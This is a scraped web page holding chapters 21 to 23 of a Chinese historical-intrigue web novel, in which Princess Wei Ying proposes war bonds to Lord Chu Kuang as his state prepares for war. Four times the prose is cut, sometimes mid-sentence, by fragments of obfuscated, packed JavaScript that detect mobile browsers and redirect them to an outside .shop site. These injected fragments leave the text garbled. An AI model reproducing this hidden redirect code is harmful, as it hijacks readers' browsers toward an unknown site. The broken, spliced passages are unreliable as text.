储况系着鹤氅的丝带,亲随虽低着头,却偷偷抬眼瞧了瞧他身后,侍女撩起水榭帷幔,那位公主云鬓高耸,颈项白皙若雪,步伐袅袅婷婷,慢慢往沐云馆深处走去。 “在瞧什么?”储况没有抬眼,仿佛随口一问。 亲随自知僭越,吓得忙收回视线,把头压得更低,顿了顿才解释道,“主公…奴近来在府里听到些风言风语……” 说着,窥了眼储况神色,正对上那双凤眸,储况所立之处临水背光,那眸子暗沉沉的,与他身侧黑黢黢的水面浑若一体,眸底仿佛藏匿着游曳的鬼影。 亲随只觉头皮发麻,但也得强撑着继续道,“那些流言说,说…主公不喜公主,故…从来不在沐云馆留宿……” 储况露齿而笑,眉眼弯若头顶的新月,“有意思。” 亲随望着他面色,辨不清他情绪,便直接问道:“要不要派人狠狠惩戒那些嚼舌根的奴仆?免得这些流言飘进公主殿下耳朵里…” 却听储况淡声道,“为何要惩戒?” 亲随一愣。 储况侧过身,转眸望向卫瀛离去的方向,帷幔随风微动,美人倩影却已了无踪迹。 “由着他们去吧,传到她耳朵里…才是最好的。”储况道。 而这些流言,也迟早会传到她那里去…… 夜风渐起,水榭外满池残荷次第颔首,景元三十三年的夏日尽了。 秋意渐浓时,魏州周边,本该一片金黄的良田,却成了泽国。 洪水泛滥,江平郡、汉州上百个城郭县邑无一幸免。 而江平上游堤坝不知怎么忽然溃堤决口,洪水冲垮了粮仓。上游泄洪后,下游水位快速下降,这时江平王打算毒杀流民的消息,竟传入了这些正等待渡江的流民耳中,江面上开始漂浮毒死的鱼虾,彻底激怒了流民,他们抄起农具、淌过江水,一连攻占了几座边城。 祁州大军兵临魏州边境,在距离夔城五十里处驻扎了一月有余,期间仅偶尔小规模侵扰,迟迟不见大举进攻。 然而,半个月后,却传出祁州一举吞并江平、汉州两地的消息,震惊天下。 襄平城,议政堂。 上将军赵玄璋禀报道:“果然如主公所料,祁军明面上声势浩大的来犯魏州,但背地里,却派大军穿山渡水,宛如天降般出现在江平和汉州两地。” 他指着身侧挂起的舆图,“江平本就疲于镇压从汉州涌入的流民,而汉州又苦于水患,军资粮饷奇缺。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116501|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“祁侯很快就吞下两地,夺下诸侯印信,斩杀江平王和汉侯,连宗族也都屠杀殆尽,可见其反叛大启、争霸天下之心已决,如今更是征发大量兵力,剑指我魏州!” 储况略颔首,“诸位爱卿以为,该如何应对?” 一名年轻武官出列,“主公,眼下祁州尚未完全收服两地民心,当速战!” 两人上前应和道,“沈都尉言之有理,既然大战在所难免,不如趁着祁州尚未修整,由魏州主动出击。” 文官队列里响起驳斥之声,“主公,贸然出击,只怕速败!魏州势弱,应遣人去祁州议和,争取时间,韬光养晦。” 储况不发一语,目光扫过这几人,尤其是那个年轻的都尉沈昭。此人是他亡兄储冽一手提拔起来,近年在军中势头正盛。 储况神色微冷,而后视线投向新上任的田监。 杜贤获罪伏法后,储况新任命的田监名叫郑英。 郑英见储况目光投过来,便禀报道: “主公,臣上任后,清点各地粮库,发现不少虚报入库的情况,是杜贤为了政绩,夸大了粮食收储总量。如今魏州实际的粮食储备,大概也就能支撑魏军半年,而开战后为安定民心,势必要放粮以平抑粮价,消耗只会更快!” 周延也开口道,“魏州一向轻徭薄税,虽有利于民生,但也使得府库常年吃紧,这也是个大问题。” 沈昭和其余几个主战的武官互相瞧瞧,都不情愿的退了回去。 一众家臣纷纷低声商讨对策,储况敛眸沉思,半晌后甫一开口,家臣都立即安静下来,凝神恭听。 储况道,“魏弱祁强,况且其余州郡态度不明,主动出击恐腹背受敌!然,遣使议和,即便祁州同意,待日后祁州整合三州之力,再度攻来,我魏州必败无疑。” “故,”储况继续道,“上策非独战,乃结盟!祁州野心昭然若揭,已成为天下之敌,我魏州如果也被吞下,下一个恐怕就是晋州或冀州,而到了那时候,祁州的土地、人口、财税将占据天下三成有余,打败祁州,难度将超乎想象。” “相邦,”储况起身,正色道,“劳您出马,持本侯手书,出使各州,阐明这些利害关系,并恭请各州诸侯一同会盟,共商抗祁大事。” 贺衍之出列,“臣,定不辱使命。” “尤其是晋州,兵强马壮,西南一隅原本与汉州相接,如今汉州覆灭,晋州和祁州之间再无缓冲,无论如何,都得把晋州拉入会盟。”储况眸光微动,闪着一抹狡诈的光。 天下争霸,比拼的是持久和韧性,让强者互相消耗,才是上上之策。 贺衍之与他视线相接,唇角牵起一抹笑意,“臣,明白。” “不过,”储况话锋一转,“会盟之策,亦需本钱,魏州必须粮秣充盈,甲械强大,方能在会盟中占据主导,故即刻起,魏州应全力筹集粮饷、充实府库。” 田监郑英闻言,只得出列道,“主公,眼下魏州百姓因邻州水患,加之恐惧战事将近,纷纷囤粮,粮价已被抬高,而骤然加征运输徭役,恐伤农时!依臣之见,此事不应求速。” 百姓囤粮一事,家臣们大多心知肚明。自打祁州出兵伊始,魏州坊间便传闻说:一旦魏州开战,州府将大举征粮!而祁州铁骑战无不胜,魏州所做一切,不过无谓挣扎! 总之,无一例外的看衰魏州。 只是…这些传闻出现的时机,未免太精准了些…… 郑英身后,他在田畦司几位下属也都面露难色,低语不断。 “是啊,马上要秋收了,若征发农夫运粮伤了农事,岂不顾此失彼?” “我辖下的粮仓,还有半数是空的呢。” “再说如今那粮价……啧,田畦司没钱收粮啊。” 储况眼风扫过这几人,最后落在郑英面上。 “不应求速?”储况嗤的一声轻笑,“那不妨遣爱卿去找祁侯谈一谈,让他待我魏州秋粮颗粒归仓后,再来攻魏?” 21. 第 21 章 郑英闻言,面皮一紧,垂下了眼。 储况眼风扫向他身后一个田畦司官吏:“李仓尉,去岁襄平外围的禹县,收了多少粮归仓?” 那姓李的仓尉神色一滞,脸色白了白,“唔,一十八万二,呃不,一十九万二千……” 储况只是静静的瞧着他。 李仓尉偷瞄了上方一眼,忙又把眼睛垂下,“容臣稍后核实…” “是一十九万三千五百石。”储况口气淡淡,“既如此不熟政务,便下放至仓廪,实地历练半年吧。” 田畦司诸吏见状,都紧紧闭上了嘴。 储况默然几息,而后讲道,“临近秋收,筹粮运粮之事,确实不该征发民夫……此事可借助商贾,商人逐利,允诺他们,现在贩卖粮食给州府,可换盐引,贩盐获利。郑田监,本侯命你田畦司拟一份章程,七日内呈上来再议。” 郑英忙应道,“主公英明!臣领命。” 储况道,“记着,有几点必须仔细推敲,第一,每石粮食设置的贩盐额度需适中,太多不利日后物价,太少,无法调动商贾积极性。” “第二,换取的盐引绝不能有囤积的可能,时效、转让等事宜,均需严加规定。” 储况默了默,“第三,大商户筹粮需限制,否则盐引将集中于巨贾之手。” 郑英一一默记于心,肃然躬身。 “不过,这只是备战的权宜之计,”储况道,“魏州图强,还需放眼长远,增加人口,才是粮税根本。” 户监任守正,此时出列道,“主公,臣有一计。眼下江平、汉州各地兵荒马乱,又有天灾,流民无处安身,而我魏州,南部各地,山高林深,不易开垦,不如允许两地流民来魏州垦荒,借粮种给他们,并免除三年赋税。” 一位老臣面露忧虑,“主公三思!此举虽能快速增加人口,但汉州江平两地民风,与我魏州迥异,若日后这些人在山地里成了气候,恐对我魏州不利!” “此计的确利弊参半。”储况指节轻轻敲了下扶手,片刻后道,“不仅是汉州和江平,各州郡百姓无田产且家世清白者,都应允许他们来魏州山林垦荒。” 继续道,“但需与魏人杂糅而居,另命教化官员在这些地方设立学馆,按魏州风俗文化教导孩童,不收束脩,但凡来垦荒者,必须送子女入学。” 户监任守正点头,“臣以为,还可鼓励与魏州百姓通婚。” “可,”储况道,“你回去,也将这些完善成章程,尽快呈上。” 任守正躬身领命。 周延瞧瞧两侧,如今粮食、人口都有了对策,唯有他这个府库令,实在无策可献,但也不得不硬着头皮开口,“主公,充实府库,无非两条路,一是增加人口,二是增加税赋……” 他抿抿嘴,“人口是慢功夫,而赋税…臣以为,如今大战在即,增加赋税恐怕会动摇民心,也万万不可!” 周延一个下属反驳道,“主公,臣以为,必须加大力度征税,若没钱备战,魏州将危在旦夕,这等利害关系,百姓应该明白!” 四周一阵骚动,附和声和质疑声渐起。 储况视线轻飘飘兜了一圈,议政堂里瞬时重归寂静。 储况道,“今日先拟定筹粮和垦荒之事,财税之事,明后再议。” 家臣悉数告退,储况瞧了周延一眼,周延见状,停步留下…… 沐云馆。 秋风穿过廊下,黄叶簌簌飘忽而落,滑过窗前,如纷飞的蝶,婢女正将落叶扫至一处。 卫瀛自掌了侯府内宅之权,便吩咐王家老将原先与齐氏牵扯颇深的那些婢女仆役全都发卖,重新采买了一批奴仆安排到各处。 人事整顿完毕,她又手翻查修院子的账目。 既然齐氏已经扳倒,她也就没有理由继续‘挥金如土’,各项花费必须落到实处,绝不允许半分欺瞒。 甄女史进了内室,躬身施礼,“殿下有何吩咐?” 卫瀛将一本账目摊在她面前,“最近修院子的各项支出,怎么涨了这么多?” 甄女史脸色为难,“如今魏州物价飞涨,建造所需的材料,几乎一天一个价,工匠们也不愿按月领工钱了,只得改为每旬发一次工钱。” 卫瀛眉心微蹙,指尖一下下,点在密密麻麻的数字上,以储况的能力,如果魏州物价不稳,那一定是出了大问题。 烟素也过来道,“公主,不仅如此,奴婢近来发现,侯府里上至有头脸的傅母,下至膳房里的厨娘,都暗中囤积粮食,听采买的老仆说,如今魏州商贾们也开始大量购入粮食,转卖给州府换盐引,市面上粮价节节攀升。” 卫瀛面色一沉,盐铁等物资乃一州命脉,如今却成了商贾筹粮的奖励?这样看来,储况正在调动一切力量,急速备战! 大战在即,魏州存亡悬于一线,只有在这场危机里建立无人可及的功勋,她的威望才能在魏州落地生根。 换言之,她必须抓住这个千载难逢的机会,把魏、祁二州的生死斗,变成她夺权的攀云梯! 卫瀛倏地起身,抱臂立于窗前,满园秋色映在她眸光涌动的眼底,宛若粼粼碎金。 前世,她没有嫁来魏州,祁州也没有这么早发难,魏州有充足时间积累战力。而今生这一切都大大压缩了,祁州大军压境,魏州一向与民生息,百姓粮税负担轻,但如今为了备战,粮食、钱财,想必都十分紧缺。 其中,快速筹粮的事,储况已经解决了。 “但是想要快速筹钱,就难办多了。”卫瀛喃喃道。 若按寻常法子,无非是增加人口、加重税赋,但前者非一夕之功,后者又容易失去民心。 玉扇不解,“公主,一个院子而已,就算物价涨上天,您也不需要另外筹钱啊!” 烟素却听出卫瀛的话绝非修院子那么简单,沉静思忖片刻,试探着讲道,“公主可还记得宫里流传的一件逸闻?景元五年,陛下亲征北国,但国库难以支撑,陛下便向嫔妃筹钱,许诺日后若得胜,不仅全额偿还,还另外支付五分的利。” 玉扇好奇道,“那然后呢?” 烟素笑笑,“陛下金口玉言,自然很快就筹到一大笔军饷,大败北国,斩杀了北国皇帝察哈善,带回上千车战利品,而这些战利品变卖之后,足以支付各宫娘娘们的本利,皆大欢喜。” 卫瀛食指在桌案上轻轻横向一划,仿佛一笔勾出百尺高楼的基台。“父皇凭‘天子一诺’,向妃子们筹钱,便撑起了一场大战……哈!” 那若设计一番,让魏州万民自愿将家财借给州府,何愁撑不起一番霸业? 卫瀛眉目弯弯,朱唇微勾,满面狡黠,“得去流觞榭聊聊这院子的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128585|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 玉扇面露担忧,“公主,又不是钱不够,犯不着和魏侯生嫌隙吧?” 卫瀛轻轻睨了她一眼。院子?那不过是一个由头罢了。 她只有借着‘一己私利’的伪装,才能顺理成章的在储况面前点破魏州的窘境,至于她接下来想提出的计谋,也必须装成娇纵公主的‘灵光一闪’,否则,必为储况忌惮! 她得让储况看到自己的价值,但更要让储况觉得,她在他掌控之中,这才是眼下和豺狼最安全的距离。 卫瀛调整着呼吸,冷静的神色褪去,一抹娇蛮的怒意染上了眉梢。 “走,去找魏侯。”卫瀛吩咐道。 去演一场好戏,借‘戏’献策。 此计策若成,可助魏州崛起。若日后魏州敢负她,这计策也能成为勒住魏州脖子的一根绞索! 出了沐云馆,卫瀛主仆往流觞榭方向走去,途径东湖水畔,只见三三两两的家臣正从议政堂方向出来,一众人等聚在相邦贺衍之周围,距离太远,说的话听不全,但似乎是在饯别。 正巧方鸿绪也沿着这条路过来,卫瀛便遣玉扇将他叫到了跟前。 “方督曹,相邦是有什么事要离开襄平?”卫瀛问道。 方鸿绪施礼道,“殿下,进来祁州接连吞下了汉州和江平,魏州形势危急,相邦奉主公之命,出使各州,说服诸侯一同抗祁。” 卫瀛眸光一闪,“魏侯这是想请各州诸侯会盟啊。” 方鸿绪颔首,“不错。” 卫瀛眼帘一落,将此事记上心头,略和方鸿绪寒暄了几句,便继续赶往流觞榭。 流觞榭,博山炉逸出如线的香气。 储况正专注翻阅着府库的账目,眉心轻拢,手指略用力的捏着账册一角,指尖微微发白。 周延神色焦灼立在一旁,拇指无意识的搓着衣摆,“主公,据臣估算,府库顶多支撑魏军七八个月,而一旦开战,农事、商事,都会受到波及,税收肯定会减少,若陷入久战,魏州定然会入不敷出。” 可争夺天下,本来就是一场持久战、消耗战。 储况凤眸微抬,目光凝在面前丝线般缠绕升腾的香气上。破局之道,究竟在何处? 侍从来报,永固公主来了。 侍从话音未落,便有公主侍女推门而入,卫瀛神色倨傲的走了过来,周延忙施礼。 卫瀛视线钉在储况身上,面带薄怒,“魏侯,你如何治理的魏州?近来石料、木材和人工,样样价钱都飞涨,本宫那院子的预算一超再超,已经是原本的两倍有余了!这样下去不行,你必须稳定物价,不能让本宫花冤枉钱!” 卫瀛视线悄然滑过桌案,只见厚厚的账目堆在一角。 周延忙上前圆场道,“殿下有所不知,魏州物价不稳,实在不是主公治理不善,而是魏州周边不太平,各州物价都在涨,魏州府库也不足以完全平抑物价,眼下确实艰难,还请殿下多多包涵!” 卫瀛觑着对方,只见周延面色沉郁,不复平日的戏谑油滑。 她眉峰一挑,“说了半天,不就是魏州没钱吗?” 周延抿抿嘴,面露尴尬。 卫瀛哼笑一声,几分轻蔑之色爬上眉梢眼角,“依本宫看啊,你们是捧着金碗讨饭呢!” 周延神色一僵,“呃,殿下,何出此言啊?” 22. 第 22 章 听了周延的问题,卫瀛略翻了个白眼,“我问你,魏州州府在百姓眼里,是不是言出必行?” 周延顿了顿,“那是自然,魏州律法严明,政令一出,势必贯彻到底,从未失信于百姓。” 卫瀛道,“既然如此,本宫要是你们啊,就写一大摞‘债契’,写明每张值一两银钱,约定期限和利息,不论谁购买了这些契书,只要到了期限,便可来州府兑付那一两本钱和另外的利息!” 储况放在膝头的手猛地一颤,缓缓攥紧,面上却浮现出温润笑意,仿佛冰雪初融,“殿下高见!可筹钱之事,迫在眉睫…若想尽快卖出大量的‘债契’,又该如何做呢?还请殿下再点拨一二。” 卫瀛故作得意之色,略昂起下巴道:“这个也不难,要么把利抬一下,要么给些别的好处。但你们总是说府库没钱,所以抬高利息不可行,只能给些别的好处。” 她沉吟了几息,抚掌而道,“方才周府库不是说如今不太平嘛,那就约定若日后打仗,持有契书者,能优先、低价购买战利品……哎,那不妨就给这些契书取名‘得胜契’吧!这名字鼓舞人心,凝聚士气,再好不过!” 她仰面一笑,满面骄矜之色,“反正啊,只要你魏州州府信誉不倒,还怕‘得胜契’卖不出去?” 储况略眯起眼望着卫瀛,眸光已然幽深似海,她竟这般轻易的想出了此等奇谋?此女之谋略,绝非常人可及,必须牢牢掌控在我手里,绝不允许旁人染指。 周延面上早已激动难掩,有些语无伦次的道,“这,这,主公!臣以为,殿下的‘得胜契’,大可一试啊!” 周延扭身看向储况,见储况默然半晌后,笑颜更胜,“殿下英明。明日议政堂,便将此计谋昭告家臣,只是精妙之处,臣等一时难以完全领会,不如劳驾殿下,明日一同议政,殿下以为如何?” 卫瀛眸子微转,储况竟破例让她进议政堂参与议政?介入魏州政局的这一天,总算来了! 但这‘得胜契’,家臣都是闻所未闻,恐怕在那些脑筋死板的顽固派面前,会遇到不小的阻力…可这也是她展示手腕的大好机会! 她眉眼冷淡,朱唇微微一抿,“行吧,本宫明日去一趟就是了。筹钱要紧,赶快把物价稳住,本宫那院子工期还有一大半呢。” 口气倦怠,仿佛在说一件不得不做的麻烦事。 储况视线却一直凝在她面上,仿佛试图拨开层叠云海迷雾,一窥峥嵘本色…… 翌日一早,议政堂。 家臣分列而立,门外侍从高声道,“永固公主至!君上至!” 众人面面相觑,那位殿下怎么又来这儿了? 想起上次这位殿下来敬晖堂的场景,众人心底都有些发憷,不由回首看向大门处,只见卫瀛正与储况已到门前。 按规矩,卫瀛是君,储况是臣,该由卫瀛先行入内。但在魏州议政堂,储况是手握一州权柄的魏侯,而卫瀛是魏侯夫人,入内的顺序变得微妙起来。 储况没有行动,只是恭顺的望了卫瀛一眼,似乎在示意她先行一步,但动作上却无半分表示。 卫瀛一瞧,便知他这副姿态不过是试探她,于是笑了笑,朝储况轻轻伸出一只手,“魏侯,走吧。” 储况望着那只白腻的手,大婚之日,他都不曾与她有过肌肤之亲,如今第一次触碰,竟是要带她走入魏州权力中心。 储况露出一抹略带玩味的笑意,伸手牵上,两人并肩跨过门槛,进了议政堂。 只是两人掌心相触时,卫瀛觉察到对方的手略微一僵,但转瞬间就恢复如常…… 两人行至上首,储况命侍从在他身旁为卫瀛设座。 落座后,储况昭告家臣,“前日议政,本侯与诸卿就充实府库一事,都颇感棘手,然昨日殿下听闻魏州艰难,不吝赐教,提出一精妙良策,名为‘得胜契’。” 于是,储况便命周延将卫瀛的‘得胜契’构想一五一十的讲了一番。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138161|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 众人听说这计谋出自卫瀛一个女子之口,神色间都浮现出些许犹疑和不屑,待听完周延的陈述,便有人出列反对道,“主公,臣以为,这‘得胜契’是与民争利,有违我魏州轻税薄役的仁政之名!还请三思。” 另一老臣也忙出列,“主公,仅凭空口白牙,便要百姓用家财去换一张纸?这与强征有何不同?” 大将赵玄璋却略带迟疑的道,“可…若此计能成,不仅能有充足军饷应对祁州,而且日后……” 他瞧了眼卫瀛方向,立即改口道,“日后也可为保魏州安定,随时征集。” 他身后的一干武将,想到若随时都能得到大笔的军饷支撑征战,互相瞧瞧,略微露出些许心动之色。 尤其是之前就极力主战的那个都尉沈昭,此刻已经面露一丝欣喜,“末将认为,不妨试一试,强祁虎视眈眈,我魏州儿郎再勇猛,没粮饷也是空谈!” 但立马有文臣大步上前,长袖一甩,“不可贪图一时之利!此计太过冒险,一旦有失,我魏州信誉将荡然无存,日后州府难再取信于民!” “对!”另一人开口道,“不仅如此,若强推此计策,还会失去民心,眼下强敌在侧,不容任何闪失!” 议政堂里质疑声、争执声一刻不停。 卫瀛视线一点点扫过整个议政堂,只见武将们都面露迟疑,而工监、田监、关漕都尉等掌管实务的官吏,都是一言不发。再一瞧储况,面上没什么表情,察觉到她视线,轻轻的望了过来。 她笑了笑,收回目光,在一片喧闹中缓缓起身,不疾不徐的行至议政堂中央站定,四下的议论声转小,但仍是一片切切察察,不止不休。 与平日的张扬浓丽不同,卫瀛今日衣衫配饰都分外端庄古朴,此刻神态也沉静至极,徐徐开口:“诸位爱卿,可还有其他意见?” 目光一扫,无人接话。 卫瀛和煦一笑,朗声道:“既然没有了,那可否听本宫讲几句?” 23. 第 23 章 卫瀛站在议政堂中央,周围家臣环绕,身后储况端坐上首,数不清的视线汇聚在她身上。 只听她正色道,“百姓用家财买入‘得胜契’,得到的绝非一张纸,而是魏州州府的‘千金一诺’!” 顿了顿,“期限一到,不论如何,州府都将动用一切财税收入,连本带利如数奉还百姓。” 周延上前一步,“这样看来,‘得胜契’绝非‘与民争利’,恰恰相反,这是让利于民,让百姓共享魏州财税收入啊!” “不错!”卫瀛颔首,“有财税做支撑,只要‘得胜契’发售数量得当,百姓如期收到每一笔利钱,魏州信誉不仅不会受损,反将屹立不倒!” 卫瀛瞧瞧工监、田监等人,“到那时候,别说一笔军饷,日后疏浚江河、开凿水渠、维护官道等等一干建设,都会有充足的财源。” 田监郑英等人都是眼睛一亮。他们这些掌管实务的官吏,平日最苦府库空虚。各样差事都需要钱,但府库拨不出款子,他们筹划得再好,也难落到实处,许多差事即便动工,工期也一拖再拖,每每政绩考核,几人都难以出挑。 若这‘得胜契’真能如永固公主所言,那对他们来说,可是天大的好事啊! 郑英踟蹰几息,终是朝储况说道,“主公,眼下粮饷筹集需从速,稳定粮价亦需大量银钱,更何况邻州洪水泛滥,我魏州也需加固农田堤坝…殿下的‘得胜契’,或可一试?” 工监何肃良也应和道,“府库吃紧,臣等苦其久矣,若能有充盈财源,想来日后便可支撑起更庞大的建设啊。” 又是一阵低语,一老臣摇头叹息,径直走到储况面前跪地道:“主公,市井小民家底薄,本就谨慎,何况眼下不太平…想让千万小民买一张纸,何其难也!此举恐将动摇魏州根本,望三思啊!” “难,便不做了么?”卫瀛一字一句,掷地有声,一步步逼近那老臣,裙摆飒飒扫过,青砖映出她骤然冷硬起来的眉眼,“往昔,魏州先祖,筚路蓝缕,开创基业,难不难?” “如今,强敌压境,魏军将士守土抗敌,难不难?” 一声嗤笑,目光如电,扫过群臣,声音铿然如金石,“正因为难,才需得胜契这样的非常之策!” 她大步越过那老臣,走近储况,视线掠过他了无波澜的脸,手一伸,在满堂家臣愕然的目光里,直接握住储况面前沉甸甸的魏侯印信,“更何况,这难题并非无解,可三管齐下。” 储况纹丝未动,只静静的瞧着她,连眼睫都没颤一下。 卫瀛将印托在掌心,“其一,债契加盖魏侯印,这是‘诸侯之信’。再组织一批说书人,把‘买一张得胜契,就是给魏州将士送一箭一粮’的故事,传遍大街小巷,将买契,转化为义举!” “其二,”她随手掂了掂印信,“让债契流通起来,官营的米铺、盐铺可用契支付,如此一来,得胜契就不再是一张压箱底的纸,百姓顾虑自然减少。” “其三……”卫瀛眸光一转,回身将那枚印信哐的一声扣在案前的祁州舆图上,“祁军压境,第一批得胜契不妨约定:若大战得胜,持契者皆可凭契优先、低价购买未来从祁州缴获的战利品!” 之前笼罩在众多家臣脸上的轻蔑之色,此刻已荡然无存,取而代之的,是满面的惊异和不可置信。 方鸿绪静静的站在群臣之间,面色整肃无波,袖底的手却渐渐收拢、攥紧。 他入仕为官,不为权利名,只为拯救天下苍生。但自离开京畿,到了这一隅的魏州,他早就认定满怀抱负再也无处施展。 可亲眼看着永固公主与群臣的一番激辩,却让他冷掉的心,再度澎湃起来。 他笃定,此计若成,魏州将不复贫弱,日后屹立于九州之巅、荡平六合,或许也不再是痴人说梦! 他视线久久凝结在那道纤细的身影上。 如此自信无畏、胸有乾坤,岂是甘守内宅的人物…… 卫瀛笑笑,“百姓若买了这债契,只会一心祈愿魏州能大胜,既能聚民力,又能凝民心!” 赵玄璋抱臂而立,眼底闪过一道锐利的光,“这样的确能提升百姓战意。” 眼看着武将和实干的官吏都站到了卫瀛一边,其他家臣的议论声也就小了下去,直到四下静寂,再无人低语。 卫瀛视线慢慢扫过四周,随后侧转过身,回眸瞧了一眼储况。 储况目光沉静,全程追随着她,看着她一步步扭转战局,好似一个娴熟的棋手。 他起身朝她谦卑拱手,“殿下智谋,令臣等须眉男儿自叹弗如,实乃魏州之幸。” 他微笑柔和,眸底却似不透光的深潭,映出卫瀛光芒四射的身影。 而后对着满堂的家臣讲道:“依本侯看,得胜契在魏州,将大有可为!” “周府库,”他朝周延道,“你与属下商议细则,尽快拟好呈上。” 他视线又落回卫瀛身上,“殿下,若有哪里仍需商榷……” 卫瀛:“自然可以来找本宫。” 储况朝她恭敬施了一礼,“有劳殿下了。” 周延在家臣队列里,如释重负的长舒一口气,笑着抬眸望向储况,却发现他眉宇间隐约罩着一层阴翳…… 议政结束,家臣退下,卫瀛停在储况身侧,仿佛随口一问,“今日怎么不见相邦大人?” 储况闻言,瞧瞧她,“…臣派相邦出使各州,邀请诸侯共商抗祁大事。” “哦,”卫瀛又问道,“那些诸侯会答应来吗?” 储况默了默,“臣已给各州诸侯修书一封,陈明利弊,加之相邦有经世之才,此事,臣有些把握。” 卫瀛转而一笑,“即便如此,盟主之位,魏州也得费力争取一番吧?” 储况眸光微转,“不知殿下,有何妙计?” “谈不上妙计。”卫瀛掩唇轻笑,“可父皇那个人,天底下没人比本宫更了解了。祁侯悖逆猖狂,父皇绝忍不了,这会儿,只怕已经让内侍研好墨了!” 储况凤眸微眯,“殿下的意思是……” 卫瀛敛去笑意,“这旨意,与其等父皇下发,不如由魏州去‘恭请’。本宫今夜便修书一封,以‘永固公主并魏侯’之名,恳请父皇下诏,敕令天下诸侯,共讨祁州。” 她走近储况一步,唇边噙笑,抬手在对方胸前轻轻一拍,“如此一来,魏州盟主之位,岂不名正言顺?” 卫瀛袖底微微逸散出些许熏香气息,缭绕在储况鼻尖。那一拍动作极轻,像一片羽毛拂过,却似乎刚好与他心跳契合,胸腔里微微一颤,他不由眼帘缓缓落下,视线所及,唯有卫瀛绣着金凤的裙摆。 她看透了景元帝为人,这倒不算什么。精妙的是,此举将魏州置于匡扶大启的‘忠义’臣子地位,姿态极佳。再者,她将自己与魏州并署,向天下人展示她与魏州同进退,这可比任何口头的效忠更有分量。 “殿下…”储况眼睫一掀,“果然思虑周详…那此事,拜托公主了。” 卫瀛轻笑一声,他果然看出来她的意图了。 无妨,反正在储况面前,耍花招、使奸计都绝无可能,唯有此等‘阳谋’,方可行稳致远。 更何况,她要的就是用这些‘阳谋’,一点点将自己和魏州利益紧紧捆绑在一起,倒逼储况不得不一点点给她地位和权柄,却又碍于共同利益,而不能危害于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148632|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 …… 周延马不停蹄的着手草拟‘得胜契’章程,不出十日,他便带着初步拟好的章程,与下属一同前来面见卫瀛。 沐云馆花厅。 卫瀛端坐上首,周延将章程呈上。 卫瀛自侍女手里接过,翻开章程,一一仔细查看。 “殿下,”周延道,“章程初拟,但臣却有处疑虑。士绅商贾们若大举买入得胜契,待价而沽,这岂不是将魏州命脉,交于豪商巨贾之手?要不,干脆不许他们买?” 卫瀛思忖片刻,“不如按户购买,每户不得超过家财的一成。且设置不同的利钱,买入百两以下者,年利一律五分,百两以上乃至千两,年利三分,至于再多的,只给一分五厘的利钱。” 周延舔舔笔尖,落笔狂书,将卫瀛的提示一一记下。 陪同周延一同前来的是个库尉,名叫林均文,他此刻面露疑惑道,“可殿下,这样恐怕富贵人家就不肯买了。” 卫瀛目光锋利起来,“林库尉,魏州需要的,是万根细绳拧成巨索,而非仅仅倚靠几根独木支撑,贵人不肯买,正合本宫心意,汇聚万众之心,才是‘得胜契’的本意:让万民,与魏州死生同契!” 林均文浑身一震,周延面色也是一变,沉默许久,“殿下…英明。” 却听林均文又道,“殿下,臣也有一事求教,此契一旦可以流通,势必有人伪造,州府该如何辨别真伪?” 周延眉心一拢,“此等细枝末节,应由府库胥吏商议,何必劳烦殿下。” 林均文看了他一眼,见他神色略沉,轻轻叹了口气,略退后。 卫瀛端详了下,此人样貌端正,年岁看起来比周延还大些,但官职却低了周延足足两级,而方才言语间,周延对他也略有打压。 如今看,周延是储况的心腹,断不会为她所用,再说她本来也不能撬储况的墙角。而这林均文…… 只听卫瀛轻笑一声,“林库尉能想到这等细节,可见十分用心。” 林均文有些意外,微微躬身示意。 “依本宫看,可选用特质的绢纸,最重要的是,必须暗中标记流水编号,这编号只有州府才知道背后的含义,这就需要你们多考虑了。” “臣明白。”林均文点点头,沉默片刻,深吸一口气,索性把心底的疑虑一吐为快,“殿下,若战事不顺,或拖延数年没个结果,魏州财税势必大大受损,百姓会问,我们拿什么来还?到了那时候,即便有主公的‘诸侯之信’,怕是也难以……” 